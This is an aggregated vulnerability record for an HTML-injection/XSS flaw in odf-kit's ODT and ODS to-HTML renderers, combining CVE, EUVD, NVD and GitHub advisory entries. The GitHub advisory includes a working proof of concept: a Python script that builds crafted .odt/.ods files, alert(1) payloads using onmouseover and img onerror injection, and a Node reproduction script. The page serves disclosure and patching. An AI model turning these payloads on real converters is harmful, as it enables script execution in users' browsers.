odf-kit: HTML injection leading to XSS in odtToHtml() via unescaped style attribute values
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-113787
Publishedodf-kit allows users to generate, fill, read, and convert OpenDocument Format files (.odt, .ods) in TypeScript and JavaScript. Starting in version 0.6.0 and prior to version 0.14.2, he renderer has an `escapeHtml()` helper and applies it consistently to text content and to attribute values — `href`, `src`, `alt`, `id`, `data-author`, `data-date`, citation text all go through it. The inline CSS strings do not. In `renderTextSpan` (`dist/odt/to-html/html-renderer.js:195`), the value of e.g. `fo:color` is copied from the document into `style.fontColor` verbatim by the parser (`extractSpanStyle`, read/parser.js:348), then concatenated raw into the attribute. A `"` in the value terminates the attribute early. The same unescaped `style="${...}"` pattern appears at roughly ten other emission sites: paragraph and heading (`paragraphStyleToCss`), table cells and rows (`cellStyleToCss`, `rowStyleToCss`), `<col>`, and the image style attribute. The affected source attributes include `fo:color`, `fo:background-color`, `fo:text-shadow`, `fo:letter-spacing`, `fo:font-family` (via both direct and font-face resolution), `fo:margin-*`, `fo:padding-*`, `fo:line-height`, `fo:border*`, and `style:vertical-align`. Version 0.14.2 contains a patch.
- Source published
- 21 Oct 2026 15:25:43 UTC
- Source modified
- 30 Oct 2026 17:45:30 UTC
- Saved here
- 30 Oct 2026 18:45:26 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
euvd · EUVD-2026-107324
Publishedodf-kit allows users to generate, fill, read, and convert OpenDocument Format files (.odt, .ods) in TypeScript and JavaScript. Starting in version 0.6.0 and prior to version 0.14.2, he renderer has an `escapeHtml()` helper and applies it consistently to text content and to attribute values — `href`, `src`, `alt`, `id`, `data-author`, `data-date`, citation text all go through it. The inline CSS strings do not. In `renderTextSpan` (`dist/odt/to-html/html-renderer.js:195`), the value of e.g. `fo:color` is copied from the document into `style.fontColor` verbatim by the parser (`extractSpanStyle`, read/parser.js:348), then concatenated raw into the attribute. A `"` in the value terminates the attribute early. The same unescaped `style="${...}"` pattern appears at roughly ten other emission sites: paragraph and heading (`paragraphStyleToCss`), table cells and rows (`cellStyleToCss`, `rowStyleToCss`), `<col>`, and the image style attribute. The affected source attributes include `fo:color`, `fo:background-color`, `fo:text-shadow`, `fo:letter-spacing`, `fo:font-family` (via both direct and font-face resolution), `fo:margin-*`, `fo:padding-*`, `fo:line-height`, `fo:border*`, and `style:vertical-align`. Version 0.14.2 contains a patch.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Oct 21, 2026, 3:25:43 PM
dateUpdated: Oct 30, 2026, 5:45:30 PM
- Source published
- Oct 21, 2026, 3:25:43 PM (timezone not stated)
- Source modified
- Oct 30, 2026, 5:45:30 PM (timezone not stated)
- Saved here
- 18 Nov 2026 20:53:03 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
nvd · CVE-2026-113787
Publishedodf-kit allows users to generate, fill, read, and convert OpenDocument Format files (.odt, .ods) in TypeScript and JavaScript. Starting in version 0.6.0 and prior to version 0.14.2, he renderer has an `escapeHtml()` helper and applies it consistently to text content and to attribute values — `href`, `src`, `alt`, `id`, `data-author`, `data-date`, citation text all go through it. The inline CSS strings do not. In `renderTextSpan` (`dist/odt/to-html/html-renderer.js:195`), the value of e.g. `fo:color` is copied from the document into `style.fontColor` verbatim by the parser (`extractSpanStyle`, read/parser.js:348), then concatenated raw into the attribute. A `"` in the value terminates the attribute early. The same unescaped `style="${...}"` pattern appears at roughly ten other emission sites: paragraph and heading (`paragraphStyleToCss`), table cells and rows (`cellStyleToCss`, `rowStyleToCss`), `<col>`, and the image style attribute. The affected source attributes include `fo:color`, `fo:background-color`, `fo:text-shadow`, `fo:letter-spacing`, `fo:font-family` (via both direct and font-face resolution), `fo:margin-*`, `fo:padding-*`, `fo:line-height`, `fo:border*`, and `style:vertical-align`. Version 0.14.2 contains a patch.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Awaiting Analysis
Weakness classifications: CWE-79
Original publisher date fields
published: 2026-10-21T16:17:26.270
lastModified: 2026-10-30T18:17:21.960
- Source published
- 21 Oct 2026 16:17:26 UTC
- Source modified
- 30 Oct 2026 18:17:21 UTC
- Saved here
- 4 Nov 2026 16:56:00 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
osv · GHSA-3cgg-c5pp-57h6
Published### Summary ODF style attribute values are interpolated into `style="..."` attributes without HTML-escaping in **both** of odf-kit's to-HTML renderers (`odtToHtml` and `odsToHtml`). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted `.odt` or `.ods` file wherever the rendered output is inserted as HTML, which is the documented purpose of both functions. ### Details #### ODT renderer (`src/odt/to-html/html-renderer.ts`) The renderer has an `escapeHtml()` helper and applies it consistently to text content and to attribute values — `href`, `src`, `alt`, `id`, `data-author`, `data-date`, citation text all go through it. The inline CSS strings do not. In `renderTextSpan` (dist/odt/to-html/html-renderer.js:195): ```js const css = spanStyleToCss(span.style); if (css) html = `<span style="${css}">${html}</span>`; ``` The value of e.g. `fo:color` is copied from the document into `style.fontColor` verbatim by the parser (`extractSpanStyle`, read/parser.js:348), then concatenated raw into the attribute. A `"` in the value terminates the attribute early. The same unescaped `style="${...}"` pattern appears at roughly ten other emission sites: paragraph and heading (`paragraphStyleToCss`), table cells and rows (`cellStyleToCss`, `rowStyleToCss`), `<col>`, and the image style attribute. The affected source attributes include `fo:color`, `fo:background-color`, `fo:text-shadow`, `fo:letter-spacing`, `fo:font-family` (via both direct and font-face resolution), `fo:margin-*`, `fo:padding-*`, `fo:line-height`, `fo:border*`, and `style:vertical-align`. #### ODS renderer (`src/ods/to-html/html-renderer.ts`) — same bug `buildInlineStyle()` assembles the CSS string from cell formatting properties — `fo:color`, `fo:font-size`, `fo:font-family`, `fo:background-color`, `fo:text-align`, etc. — with zero `escapeHtml` calls, and `renderCell` emits it raw (line 65): ```ts if (includeStyles && cell.formatting) { const style = buildInlineStyle(cell.formatting); if (style) attrs.push(`style="${style}"`); } ``` Additionally, `row.height` (from `style:row-height`) goes raw into the row element (line 95): ```ts const style = includeStyles && row.height ? ` style="height:${row.height}"` : ""; return `<tr class="${prefix}-row"${style}>${cells}</tr>`; ``` The same injection is reachable through the public `odf-kit/ods/to-html` export (`odsToHtml()`), so both to-HTML directions are affected. #### Version scope The `odt/to-html` and `ods/to-html` modules first shipped in **0.14.0**; the current latest release is **0.14.1**. The PoCs were re-ran against the unreleased `main` branch (commit `270a361`) — both injections still fire, so no fix has landed past the release. ### PoC Each PoC is a minimal ODF package (`mimetype` + `META-INF/manifest.xml` + `content.xml`) whose `content.xml` contains exactly one poisoned automatic style. The files are generated by this short Python script (stdlib only, no dependencies) — save as `build-pocs.py` and run `python3 build-pocs.py`: ```python import zipfile def build(path, mimetype, content): # ODF requires 'mimetype' first and stored uncompressed with zipfile.ZipFile(path, "w") as z: z.writestr(zipfile.ZipInfo("mimetype"), mimetype, compress_type=zipfile.ZIP_STORED) z.writestr("META-INF/manifest.xml", '<?xml version="1.0" encoding="UTF-8"?>\n' '<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">\n' ' <manifest:file-entry manifest:full-path="/" manifest:media-type="' + mimetype + '"/>\n' ' <manifest:file-entry manifest:full-path="content.xml" manifest:media-type="text/xml"/>\n' '</manifest:manifest>\n') z.writestr("content.xml", content) ODT = "application/vnd.oasis.opendocument.text" ODS = "application/vnd.oasis.opendocument.spreadsheet" HEAD = ('<?xml version="1.0" encoding="UTF-8"?>\n' '<office:document-content\n' ' xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"\n' ' xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0"\n' ' xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0"\n' ' xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0">') Q = """ p1 = f"red{Q} onmouseover={Q}alert(1){Q} x={Q}" # attribute injection p2 = f'red{Q}><img src=x onerror={Q}alert(1){Q}><x style={Q}' # full markup injection # .odt: one paragraph with a poisoned automatic text style def odt(p): return (HEAD + '\n<office:automatic-styles>\n' ' <style:style style:family="paragraph" style:name="P1">\n' f' <style:text-properties fo:color="{p}"/>\n' ' </style:style>\n</office:automatic-styles>\n' '<office:body><office:text><text:p text:style-name="P1">hello</text:p>' '</office:text></office:body></office:document-content>\n') # .ods: one cell with a poisoned automatic cell style def ods(p): return (HEAD + '\n<office:automatic-styles>\n' ' <style:style style:family="table-cell" style:name="ce1">\n' f' <style:text-properties fo:color="{p}"/>\n' ' </style:style>\n</office:automatic-styles>\n' '<office:body><office:spreadsheet><table:table table:name="Sheet1"' ' xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0">' '<table:table-row><table:table-cell table:style-name="ce1" office:value-type="string">' '<text:p>hello</text:p></table:table-cell></table:table-row>' '</table:table></office:spreadsheet></office:body></office:document-content>\n') build("poc1.odt", ODT, odt(p1)) build("poc2.odt", ODT, odt(p2)) build("poc3.ods", ODS, ods(p2)) ``` This produces `poc1.odt`, `poc2.odt` and `poc3.ods`. The only attacker-controlled input is the `fo:color` value on the style — for poc1 it reads, as stored in `content.xml`: ```xml <style:text-properties fo:color="red" onmouseover="alert(1)" x=""/> ``` **poc1.odt — attribute injection (ODT).** The `fo:color` value (unescaped) is: ``` red" onmouseover="alert(1)" x=" ``` (encoded as `"` in the XML). Output of `odtToHtml(bytes, { fragment: true })`: ```html <p><span style="color:red" onmouseover="alert(1)" x="">hello</span></p> ``` The quote breaks out of `style`, and `onmouseover` becomes a real attribute on the span. **poc2.odt — full markup injection (ODT).** The style value is: ``` red"><img src=x onerror="alert(1)"><x style=" ``` Output: ```html <p><span style="color:red"><img src=x onerror="alert(1)"><x style="">hello</span></p> ``` **poc3.ods — same injection via the ODS renderer.** A crafted `.ods` whose cell automatic style carries a poisoned `fo:color` value (same payload as poc2). Output of `odsToHtml(bytes)`: ```html <tr class="ods-row"><td class="ods-cell" style="color:red"><img src=x onerror="alert(1)"><x style="">hello</td></tr> ``` Reproduction script: ```js import { readFileSync } from 'fs'; import { odtToHtml } from 'odf-kit/odt/to-html'; import { odsToHtml } from 'odf-kit/ods/to-html'; const bytes = (p) => new Uint8Array(readFileSync(p)); console.log(odtToHtml(bytes('poc2.odt'), { fragment: true })); console.log(odsToHtml(bytes('poc3.ods'))); ``` This was found while auditing ODT import paths in a web application that uses odf-kit as its converter. That application happens to sanitize the output downstream, so minimal standalone reproductions were built against the published odf-kit 0.14.1 package directly in Node. ### Impact Any consumer that renders `odtToHtml()` or `odsToHtml()` output as HTML — which is both functions' documented purpose — gets XSS from a crafted `.odt`/`.ods` file they convert. Untrusted file → arbitrary tags and attributes → script execution in the host page with the page's origin. The fragment mode (`{ fragment: true }`) is equally affected. The header comment in the ODT renderer currently promises "the output is safe to embed in any context", so consumers may reasonably be relying on that today. For what it's worth, the sibling paths were checked: the markdown direction does not reach this code, and `escapeHtml` is correctly applied everywhere else I looked in the ODT renderer. The ODS renderer initially appeared clean too, but the `buildInlineStyle` path above is the second instance of the same defect. ### Suggested fix Escape the assembled CSS string at every `style="${...}"` site, in both renderers: ```js html = `<span style="${escapeHtml(css)}">${html}</span>` ``` (or, stronger, validate/allowlist the parsed style values at parse time — they are all supposed to be color literals, lengths, or keywords, so a strict per-property format check would also work; escaping `row.height` in the ODS renderer at line 95 as well). The per-site escape is the minimal fix consistent with the rest of the ODT file.
- Source published
- 4 Nov 2026 16:14:34 UTC
- Source modified
- 4 Nov 2026 16:30:03 UTC
- Saved here
- 4 Nov 2026 16:54:14 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Publisher rating · MODERATE